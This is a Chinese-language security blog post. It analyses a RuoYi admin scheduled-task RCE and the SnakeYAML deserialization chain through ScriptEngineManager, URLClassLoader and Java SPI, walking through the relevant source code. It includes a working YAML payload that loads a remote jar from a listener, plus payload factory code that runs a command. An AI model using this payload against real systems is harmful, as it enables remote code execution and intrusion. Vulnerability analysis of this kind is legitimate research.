若依后台RCE到snakeyaml反序列化

若依后台RCE到snakeyaml反序列化

Gat1ta 72 2022-09-29

前两天在做一个站的测试的时候碰到一个若依的站,在看历史漏洞的时候发现一个4.6.2版本以下,在定时任务处有个RCE。由于之前没了解过这种定时任务的漏洞所以下载代码简单分析一下。

环境搭建

当前下载的若依版本为4.6.1.
IDEA打开项目配置一下数据库就可以运行了,没什么特别的。

漏洞分析

环境搭建好之后直接开搞,创建一个定时任务:
image-1664438646766
BP中看一下接口路径然后在IDEA中搜索一下,最终定位到如下函数:

    /**
     * 任务调度立即执行一次
     */
    @Log(title = "定时任务", businessType = BusinessType.UPDATE)
    @RequiresPermissions("monitor:job:changeStatus")
    @PostMapping("/run")
    @ResponseBody
    public AjaxResult run(SysJob job) throws SchedulerException
    {
        jobService.run(job);
        return success();
    }

可以看到通过参数绑定生成了一个SysJob对象,然后当作参数传进了jobService.run方法:

    /**
     * 立即运行任务
     * 
     * @param job 调度信息
     */
    @Override
    @Transactional
    public void run(SysJob job) throws SchedulerException
    {
        Long jobId = job.getJobId();
        SysJob tmpObj = selectJobById(job.getJobId());
        // 参数
        JobDataMap dataMap = new JobDataMap();
        dataMap.put(ScheduleConstants.TASK_PROPERTIES, tmpObj);
        scheduler.triggerJob(ScheduleUtils.getJobKey(jobId, tmpObj.getJobGroup()), dataMap);
    }

通过调试,发现该方法只是将job参数进行了一些封装。然后就提交到了线程池异步执行。
通过在我们的payload代码下段后回溯找到了如下解析代码:

    /**
     * 执行方法
     *
     * @param sysJob 系统任务
     */
    public static void invokeMethod(SysJob sysJob) throws Exception
    {
        String invokeTarget = sysJob.getInvokeTarget();
        String beanName = getBeanName(invokeTarget);
        String methodName = getMethodName(invokeTarget);
        List<Object[]> methodParams = getMethodParams(invokeTarget);

        if (!isValidClassName(beanName))
        {
            Object bean = SpringUtils.getBean(beanName);
            invokeMethod(bean, methodName, methodParams);
        }
        else
        {
            Object bean = Class.forName(beanName).newInstance();
            invokeMethod(bean, methodName, methodParams);
        }
    }

可以看到,该方法通过sysJob.getInvokeTarget();获取调用目标字符串,也就是我们输入的payload。
然后通过getBeanName(invokeTarget)获取要调用的类全限定名。

    /**
     * 获取bean名称
     * 
     * @param invokeTarget 目标字符串
     * @return bean名称
     */
    public static String getBeanName(String invokeTarget)
    {
        String beanName = StringUtils.substringBefore(invokeTarget, "(");
        return StringUtils.substringBeforeLast(beanName, ".");
    }

通过getMethodName(invokeTarget);获取要调用的方法名。

    /**
     * 获取bean方法
     * 
     * @param invokeTarget 目标字符串
     * @return method方法
     */
    public static String getMethodName(String invokeTarget)
    {
        String methodName = StringUtils.substringBefore(invokeTarget, "(");
        return StringUtils.substringAfterLast(methodName, ".");
    }

通过getMethodParams(invokeTarget);获取参数。

    /**
     * 获取method方法参数相关列表
     * 
     * @param invokeTarget 目标字符串
     * @return method方法相关参数列表
     */
    public static List<Object[]> getMethodParams(String invokeTarget)
    {
        String methodStr = StringUtils.substringBetween(invokeTarget, "(", ")");
        if (StringUtils.isEmpty(methodStr))
        {
            return null;
        }
        String[] methodParams = methodStr.split(",");
        List<Object[]> classs = new LinkedList<>();
        for (int i = 0; i < methodParams.length; i++)
        {
            String str = StringUtils.trimToEmpty(methodParams[i]);
            // String字符串类型,包含'
            if (StringUtils.contains(str, "'"))
            {
                classs.add(new Object[] { StringUtils.replace(str, "'", ""), String.class });
            }
            // boolean布尔类型,等于true或者false
            else if (StringUtils.equals(str, "true") || StringUtils.equalsIgnoreCase(str, "false"))
            {
                classs.add(new Object[] { Boolean.valueOf(str), Boolean.class });
            }
            // long长整形,包含L
            else if (StringUtils.containsIgnoreCase(str, "L"))
            {
                classs.add(new Object[] { Long.valueOf(StringUtils.replaceIgnoreCase(str, "L", "")), Long.class });
            }
            // double浮点类型,包含D
            else if (StringUtils.containsIgnoreCase(str, "D"))
            {
                classs.add(new Object[] { Double.valueOf(StringUtils.replaceIgnoreCase(str, "D", "")), Double.class });
            }
            // 其他类型归类为整形
            else
            {
                classs.add(new Object[] { Integer.valueOf(str), Integer.class });
            }
        }
        return classs;
    }

接下来就通过反射来调用目标代码:

            Object bean = Class.forName(beanName).newInstance();
            invokeMethod(bean, methodName, methodParams);

到这里可以了解该漏洞就是可以调用任意类的任意方法,但是要注意调用目标类必须有一个无参构造函数,所以直接调用Runtime是不可行的。
比较简单的利用方式可以通过jndi来执行任意代码,但是要注意jndi版本限制。
但是昨天测试的时候目标站点屏蔽了jndi相关字符,所以说用的snakeyaml反序列化这条链。

snakeyaml

snakeyaml包主要用来解析yaml格式的内容,yaml语言比普通的xml与properties等配置文件的可读性更高,像是Spring系列就支持yaml的配置文件,而SnakeYaml是一个完整的YAML1.1规范Processor,支持UTF-8/UTF-16,支持Java对象的序列化/反序列化,支持所有YAML定义的类型。

常用方法

String	dump(Object data)
将Java对象序列化为YAML字符串。
void	dump(Object data, Writer output)
将Java对象序列化为YAML流。
String	dumpAll(Iterator<? extends Object> data)
将一系列Java对象序列化为YAML字符串。
void	dumpAll(Iterator<? extends Object> data, Writer output)
将一系列Java对象序列化为YAML流。
String	dumpAs(Object data, Tag rootTag, DumperOptions.FlowStyle flowStyle)
将Java对象序列化为YAML字符串。
String	dumpAsMap(Object data)
将Java对象序列化为YAML字符串。
<T> T	load(InputStream io)
解析流中唯一的YAML文档,并生成相应的Java对象。
<T> T	load(Reader io)
解析流中唯一的YAML文档,并生成相应的Java对象。
<T> T	load(String yaml)
解析字符串中唯一的YAML文档,并生成相应的Java对象。
Iterable<Object>	loadAll(InputStream yaml)
解析流中的所有YAML文档,并生成相应的Java对象。
Iterable<Object>	loadAll(Reader yaml)
解析字符串中的所有YAML文档,并生成相应的Java对象。
Iterable<Object>	loadAll(String yaml)
解析字符串中的所有YAML文档,并生成相应的Java对象。

主要关注序列化与反序列化
SnakeYaml提供了Yaml.dump()和Yaml.load()两个函数对yaml格式的数据进行序列化和反序列化。

Yaml.load():入参是一个字符串或者一个文件,经过序列化之后返回一个Java对象;
Yaml.dump():将一个对象转化为yaml文件形式;

SnakeYaml反序列化漏洞

yaml反序列化时可以通过!!+全类名指定反序列化的类,反序列化过程中会实例化该类,可以通过构造ScriptEngineManagerpayload并利用SPI机制通过URLClassLoader或者其他payload如JNDI方式远程加载实例化恶意类从而实现任意代码执行。
网上最多的一个PoC就是基于javax.script.ScriptEngineManager的利用链通过URLClassLoader实现的代码执行。Github上已经有现成的利用项目,可以更改好项目代码部署在web上即可。所以说SnakeYaml通常的一个利用条件是需要出网。

影响版本

全版本

漏洞复现

首先从Github将项目下载下来,将AwesomeScriptEngineFactory方法中的代码改成想要执行的命令,当前是打开计算器:

    public AwesomeScriptEngineFactory() {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

其他地方不用动,然后按照Github中项目描述的方法打包,然后监听一下。
然后打开一个项目输入如下代码:

import java.net.URL;
import java.net.URLClassLoader;
import org.yaml.snakeyaml.Yaml;
public class main {
    public static void main(String[] args) throws Exception{
        Yaml yaml = new Yaml();
        yaml.load("!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ['http://127.0.0.1:8000/yaml-payload.jar']]]]");

    }
}

将以上代码的IP和文件名改为自己的,运行一下会发现打开了计算器。

image

漏洞分析

首先看一下调用入口,load方法:

    public <T> T load(String yaml) {
        return this.loadFromReader(new StreamReader(yaml), Object.class);
    }

可以看到将我们的输入封装成一个StreamReader对象后调用了loadFromReader方法:

    private Object loadFromReader(StreamReader sreader, Class<?> type) {
        Composer composer = new Composer(new ParserImpl(sreader), this.resolver);
        this.constructor.setComposer(composer);
        return this.constructor.getSingleData(type);
    }

首先创建了一个Composer对象,然后保存到当前类的成员变量中,继续调用了this.constructor.getSingleData(type):

    public Object getSingleData(Class<?> type) {
        Node node = this.composer.getSingleNode();
        if (node != null && !Tag.NULL.equals(node.getTag())) {
            if (Object.class != type) {
                node.setTag(new Tag(type));
            } else if (this.rootTag != null) {
                node.setTag(this.rootTag);
            }

            return this.constructDocument(node);
        } else {
            Construct construct = (Construct)this.yamlConstructors.get(Tag.NULL);
            return construct.construct(node);
        }
    }

在该函数中,通过this.composer.getSingleNode方法对我们输入的payload进行了一些处理,会将"!!"替换为tagxx一类的标识。
我们输入的payload为:

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://127.0.0.1:8000/yaml-payload.jar"]
  ]]
]

处理完payload如下形式:

<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:javax.script.ScriptEngineManager, value=[<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:java.net.URLClassLoader, value=[<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:seq, value=[<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:java.net.URL, value=[<org.yaml.snakeyaml.nodes.ScalarNode (tag=tag:yaml.org,2002:str, value=http://127.0.0.1:9000/yaml-payload.jar)>])>])>])>])>

接下来调用了 this.constructDocument(node),继续跟进:

    protected final Object constructDocument(Node node) {
        try {
            Object data = this.constructObject(node);
            this.fillRecursive();
            this.constructedObjects.clear();
            this.recursiveObjects.clear();
            return data;
        } catch (RuntimeException var3) {
            if (this.wrappedToRootException && !(var3 instanceof YAMLException)) {
                throw new YAMLException(var3);
            } else {
                throw var3;
            }
        }
    }

一路追下去,最终来到关键函数org.yaml.snakeyaml.constructor.Constructor.construct:

    protected class ConstructSequence implements Construct {
        @SuppressWarnings("unchecked")
        public Object construct(Node node) {
            SequenceNode snode = (SequenceNode) node;
            if (Set.class.isAssignableFrom(node.getType())) {
                if (node.isTwoStepsConstruction()) {
                    throw new YAMLException("Set cannot be recursive.");
                } else {
                    return constructSet(snode);
                }
            } else if (Collection.class.isAssignableFrom(node.getType())) {
                if (node.isTwoStepsConstruction()) {
                    return newList(snode);
                } else {
                    return constructSequence(snode);
                }
            } else if (node.getType().isArray()) {
                if (node.isTwoStepsConstruction()) {
                    return createArray(node.getType(), snode.getValue().size());
                } else {
                    return constructArray(snode);
                }
            } else {
                // create immutable object
                List<java.lang.reflect.Constructor<?>> possibleConstructors = new ArrayList<java.lang.reflect.Constructor<?>>(
                        snode.getValue().size());
                for (java.lang.reflect.Constructor<?> constructor : node.getType()
                        .getDeclaredConstructors()) {
                    if (snode.getValue().size() == constructor.getParameterTypes().length) {
                        possibleConstructors.add(constructor);
                    }
                }
                if (!possibleConstructors.isEmpty()) {
                    if (possibleConstructors.size() == 1) {
                        Object[] argumentList = new Object[snode.getValue().size()];
                        java.lang.reflect.Constructor<?> c = possibleConstructors.get(0);
                        int index = 0;
                        for (Node argumentNode : snode.getValue()) {
                            Class<?> type = c.getParameterTypes()[index];
                            // set runtime classes for arguments
                            argumentNode.setType(type);
                            argumentList[index++] = constructObject(argumentNode);
                        }

                        try {
                            c.setAccessible(true);
                            return c.newInstance(argumentList);
                        } catch (Exception e) {
                            throw new YAMLException(e);
                        }
                    }

                    // use BaseConstructor
                    List<Object> argumentList = (List<Object>) constructSequence(snode);
                    Class<?>[] parameterTypes = new Class[argumentList.size()];
                    int index = 0;
                    for (Object parameter : argumentList) {
                        parameterTypes[index] = parameter.getClass();
                        index++;
                    }

                    for (java.lang.reflect.Constructor<?> c : possibleConstructors) {
                        Class<?>[] argTypes = c.getParameterTypes();
                        boolean foundConstructor = true;
                        for (int i = 0; i < argTypes.length; i++) {
                            if (!wrapIfPrimitive(argTypes[i]).isAssignableFrom(parameterTypes[i])) {
                                foundConstructor = false;
                                break;
                            }
                        }
                        if (foundConstructor) {
                            try {
                                c.setAccessible(true);
                                return c.newInstance(argumentList.toArray());
                            } catch (Exception e) {
                                throw new YAMLException(e);
                            }
                        }
                    }
                }
                throw new YAMLException(
                        "No suitable constructor with " + String.valueOf(snode.getValue().size())
                                + " arguments found for " + node.getType());

            }
        }

这段代码有点长,接下来分几段重要的分析:

                List<java.lang.reflect.Constructor<?>> possibleConstructors = new ArrayList<java.lang.reflect.Constructor<?>>(
                        snode.getValue().size());
                for (java.lang.reflect.Constructor<?> constructor : node.getType()
                        .getDeclaredConstructors()) {
                    if (snode.getValue().size() == constructor.getParameterTypes().length) {
                        possibleConstructors.add(constructor);
                    }
                }

首先创建一个Constructor数组,用于保存构造函数。然后通过getDeclaredConstructors遍历所有构造函数,接下来获取这些构造函数的参数个数,然后与我们输入的payload中的参数个数对比,如果一致则将该构造函数保存到possibleConstructors中。

                if (!possibleConstructors.isEmpty()) {
                    if (possibleConstructors.size() == 1) {
                        Object[] argumentList = new Object[snode.getValue().size()];
                        java.lang.reflect.Constructor<?> c = possibleConstructors.get(0);
                        int index = 0;
                        for (Node argumentNode : snode.getValue()) {
                            Class<?> type = c.getParameterTypes()[index];
                            // set runtime classes for arguments
                            argumentNode.setType(type);
                            argumentList[index++] = constructObject(argumentNode);
                        }

                        try {
                            c.setAccessible(true);
                            return c.newInstance(argumentList);
                        } catch (Exception e) {
                            throw new YAMLException(e);
                        }
                    }

循环获取构造函数之后,判断保存构造函数的数组是否为空,如果不为空是否为1。
如果判断通过,则创建一个Object数组用做保存参数。然后通过snode.getValue获取参数的Node后递归调用constructObject函数来生成参数。生成的参数对象保存到Object数组中。
参数构造成功后先是调用setAccessible设置构造函数的访问权限,然后调用newInstance构造对象。

SPI机制

前面分析完了SnakeYaml反序列化ScriptEngineManager的过程,但是为什么会可以RCE呢?答案就是SPI机制,其实ScriptEngineManager利用的的底层也是SPI机制。
SPI ,全称为 Service Provider Interface,是一种服务发现机制。它通过在ClassPath路径下的META-INF/services文件夹查找文件,自动加载文件里所定义的类。也就是动态为某个接口寻找服务实现。
那么如果需要使用 SPI 机制需要在Java classpath 下的 META-INF/services/ 目录里创建一个以服务接口命名的文件,这个文件里的内容就是这个接口的具体的实现类。
image-1665285415527

ScriptEngineManager

了解了什么是SPI后我们在回头来看ScriptEngineManager初始化过程。
在调用构造函数后,会进入init函数:

    private void init(final ClassLoader loader) {
        globalScope = new SimpleBindings();
        engineSpis = new HashSet<ScriptEngineFactory>();
        nameAssociations = new HashMap<String, ScriptEngineFactory>();
        extensionAssociations = new HashMap<String, ScriptEngineFactory>();
        mimeTypeAssociations = new HashMap<String, ScriptEngineFactory>();
        initEngines(loader);
    }

重点在于initEngines函数,一直向下跟进:

        private boolean hasNextService() {
            if (nextName != null) {
                return true;
            }
            if (configs == null) {
                try {
                    String fullName = PREFIX + service.getName();
                    if (loader == null)
                        configs = ClassLoader.getSystemResources(fullName);
                    else
                        configs = loader.getResources(fullName);
                } catch (IOException x) {
                    fail(service, "Error locating configuration files", x);
                }
            }
            while ((pending == null) || !pending.hasNext()) {
                if (!configs.hasMoreElements()) {
                    return false;
                }
                pending = parse(service, configs.nextElement());
            }
            nextName = pending.next();
            return true;
        }

最终会通过hasNextService函数获取服务类,保存在类成员变量nextName中。

        private S nextService() {
            if (!hasNextService())
                throw new NoSuchElementException();
            String cn = nextName;
            nextName = null;
            Class<?> c = null;
            try {
                c = Class.forName(cn, false, loader);
            } catch (ClassNotFoundException x) {
                fail(service,
                     "Provider " + cn + " not found");
            }
            if (!service.isAssignableFrom(c)) {
                fail(service,
                     "Provider " + cn  + " not a subtype");
            }
            try {
                S p = service.cast(c.newInstance());
                providers.put(cn, p);
                return p;
            } catch (Throwable x) {
                fail(service,
                     "Provider " + cn + " could not be instantiated",
                     x);
            }
            throw new Error();          // This cannot happen
        }

接下来在nextService通过反射实例化上面找到的服务类,至此该漏洞全流程分析结束。

参考

https://www.cnblogs.com/nice0e3/p/14514882.html